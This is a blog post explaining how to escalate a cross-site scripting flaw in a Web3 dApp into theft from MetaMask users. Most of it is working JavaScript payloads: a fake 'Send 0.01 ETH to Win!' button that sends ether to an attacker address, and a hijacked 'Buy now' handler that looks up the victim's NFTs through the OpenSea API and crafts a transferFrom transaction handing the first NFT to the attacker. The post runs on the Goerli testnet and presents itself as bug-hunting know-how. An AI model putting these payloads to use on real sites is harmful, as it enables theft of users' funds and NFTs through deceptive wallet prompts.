Exploiting Cross Site Scripting (XSS) in Web3

Abdullah Mohamed
7 min readDec 29, 2022

Introduction

Cross-Site Scripting (XSS) is a type of cyber attack in which an attacker injects malicious code into a website or web application. The injected code is usually in the form of a script, which is then executed by the victim’s web browser. This can allow the attacker to steal sensitive information, such as login credentials or financial data, or to perform other malicious actions on behalf of the victim.

Intro to smart contract

A “smart contract” is simply a program that runs on the blockchain. It’s a collection of code (its functions) and data (its state) that resides at a specific address on the blockchain.

Smart contracts are a type of Ethereum account. This means they have a balance and can be the target of transactions. However they’re not controlled by a user, instead they are deployed to the network and run as programmed. User accounts can then interact with a smart contract by submitting transactions that execute a function defined on the smart contract. Smart contracts can define rules, like a regular contract, and automatically enforce them via the code. Smart contracts cannot be deleted by default, and interactions with them are irreversible.

What is a blockchain transaction?

Transactions are no longer limited to financial transfers only, and with the development of blockchain networks, you can now use the blockchain in other than financial transfers, so any modification to the blockchain state is now called a transaction, whether it is a financial transfer to someone or your interaction with a smart contract.

Decentralized applications (dApps) & smart contracts

A lot of people interchangeably use the terms smart contracts and decentralized applications (dApps), but this is incorrect. A smart contract is simply a piece of code that is stored on the blockchain. A dApp, however, connects the frontend to the backend and may use several smart contracts to run.

MetaMask wallet in brief

  • MetaMask is a cryptocurrency wallet that enables users to store Ether and other ERC-20 tokens.
  • The wallet can also be used to interact with decentralized applications.

This a good video to how to install MetaMask until you can test your code locally first.

Web3 Authentication

Most decentralized applications (dApps) doesn’t authenticate users by username/password, instead they using crypto addresses to identify users, so in our case even if dApp use cookies to track user off-chain activities, it would not be helpful to steal user cookies to, because the operations in blockchain required private key of user to sign every transaction (this private key exist only on user computer and it is impossible to steal it with attack like XSS).

What can we do?

In this topic I will explain some ideas you can exploit it with XSS attack to achieve highest possible severity.

I will use MetaMask wallet during this explanation, because it is most popular wallet.

Before starting

We will make our test on Goerli testnet network rather than mainnet network, so we don’t have to deal with real money.

So, we need to activate Goerli network on our wallet.

You can get test ETH for Goerli Network from here.

Connect to MetaMask!

This first part of our attack, is to make the user connect his wallet to dApp website. The best thing here is when MetaMask ask user to approve the connection, it will show him dApp website URL, this will make user bit confident.

The following JavaScript code will ask user to connect his wallet:

const x = document.createElement("button");
x.id = "connect";
x.innerText = "Connect to MetaMask";
document.body.appendChild(x);
document.getElementById("connect").addEventListener("click", () => {
ethereum.request({ method: "eth_requestAccounts" });
});

This will prompt a window to ask user to connect his wallet to the website.

Now, the user is connected to dApp website. After that we will craft a payload to make a transaction that will send money for the attacker.

The following payload is to make a transaction that will send 0.01 ETH from the victim to the attacker:

const y = document.createElement("button");
y.id = "send";
y.innerText = "Send 0.01 ETH to Win!";
document.body.appendChild(y);
document.getElementById("send").addEventListener("click", async () => {
const transactionParameters = {
nonce: "0x00",
gasPrice: "0x244AC6D",
gas: "0x12A52",
to: "0x0000000000000000000000000000000000000000",
from: ethereum.selectedAddress,
value: "0x2386F26FC10000",
data: "0x00",
chainId: "0x5",
};

const txHash = await ethereum.request({
method: "eth_sendTransaction",
params: [transactionParameters],
});
});

This will prompt a window to ask user to approve the transaction:

As you can see, this attack need to user interaction, but don’t forget in the first part, MetaMask will show the user URL of vulnerable website and this will make him confident if he have not technical background.

Now, lets explain more details about previous payload.

for transactionParameters object, we have some important things you have to know:

1- to: the value of this parameter is the receiver address (could be a public key of an account, or a contract address).

2- value: the amount of ether (in Hex) that you want to send.

3- data: this parameter is useful when we want to make a smart contract interactions (I will talk about it in a moment).

4- chainId: here we use Goerli testnet, and the chainId of it is 0x5 (every network has a unique chainId).

You can find the chainId for the other networks here.

A new exploitation

The important thing before determine the exploit that you will provide it, is to know the business logic of the dApp, so for example if we found a stored XSS in NFT marketplace in NFT details page (that show you a details about specific NFT), in that case we will not use the previous exploit, instead we will make a new scenario.

The most NFT markets have “NFT details page” like this:

So when you click on “Buy now” button, a MetaMask pop up will appear to you to approve the transaction (this is the normal behavior). We will abuse that now, so we need to change this behavior.

At first I will explain the attack scenario then we will write the exploitation. When user click on “Buy now” we want to make an API call behind the scene until we get the NFTs that user owns, then we will transfer the ownership of NFT to us when he confirms the transaction via MetaMask.

We will use OpenSea API to make an API request to get all user NFTs.

const req = new XMLHttpRequest();
req.open(
"GET",
`https://testnets-api.opensea.io/api/v1/assets?format=json&limit=50&offset=0&owner=${ethereum.selectedAddress}`
);
req.send();

After that, we will extract some information from the response:

req.onreadystatechange = async () => {
if (req.readyState === 4) {
const data = JSON.parse(req.response);
const SC_address = data["assets"][0]["asset_contract"]["address"];
const tokenId = parseInt(data["assets"][0]["token_id"]).toString(16);
}

The user wallet could contain more than one NFT, so we will apply our attack on the first one only.

SC_address: This variable will contain the address of smart contract (NFT address).

tokenId: This variable will contain the tokenId of the NFT.

Now, we will craft a new transaction that will make user approve on transfer his NFT to the attacker:

const ATTACKER_ADDRESS = "0x0000000000000000000000000000000000000000";
const transactionParameters = {
nonce: "0x00",
gasPrice: "0x244AC6D",
gas: "0x12A52",
to: SC_address,
from: ethereum.selectedAddress,
value: "0x00",
data: `0x23b872dd000000000000000000000000${ethereum.selectedAddress.substr(2)}000000000000000000000000${ATTACKER_ADDRESS.substr(2)}${"0".repeat(64 - tokenId.length)}${tokenId}`,
chainId: "0x5",
};
const txHash = await ethereum.request({
method: "eth_sendTransaction",
params: [transactionParameters],
});

ATTACKER_ADDRESS is the wallet address of an attacker (the ownership of NFT will be transfer to it).

The data in transactionParameters object represents the info that we need to call transferFrom function (ERC-721 Method).

More details about data:

23b872dd represent the MethodID of transferFrom function.

The MethodID or function selector is the first 4 bytes of the hash of the method name and the parameters.

${ethereum.selectedAddress.substr(2)} represent the address of victim.

${“0”.repeat(64 — tokenId.length)}: here we calculate length of tokenId, then we will subtract it from 64 until fill the rest of data in zeros.

Now, our transaction is ready, let’s put it all together.

document.getElementById("buy").addEventListener("click", async () => {
const req = new XMLHttpRequest();
req.open(
"GET",
`https://testnets-api.opensea.io/api/v1/assets?format=json&limit=50&offset=0&owner=${ethereum.selectedAddress}`
);
req.send();
req.onreadystatechange = async () => {
if (req.readyState === 4) {
const data = JSON.parse(req.response);
const SC_address = data["assets"][0]["asset_contract"]["address"];
const tokenId = parseInt(data["assets"][0]["token_id"]).toString(16);
const ATTACKER_ADDRESS = "0x0000000000000000000000000000000000000000";
const transactionParameters = {
nonce: "0x00",
gasPrice: "0x244AC6D",
gas: "0x12A52",
to: SC_address,
from: ethereum.selectedAddress,
value: "0x00",
data: `0x23b872dd000000000000000000000000${ethereum.selectedAddress.substr(2)}000000000000000000000000${ATTACKER_ADDRESS.substr(2)}${"0".repeat(64 - tokenId.length)}${tokenId}`,
chainId: "0x5",
};
const txHash = await ethereum.request({
method: "eth_sendTransaction",
params: [transactionParameters],
});
}
};
});

Don’t forget to change “buy” in the first line to button id in the vulnerable page.

Thanks for your reading, I hope my story was useful.

--

--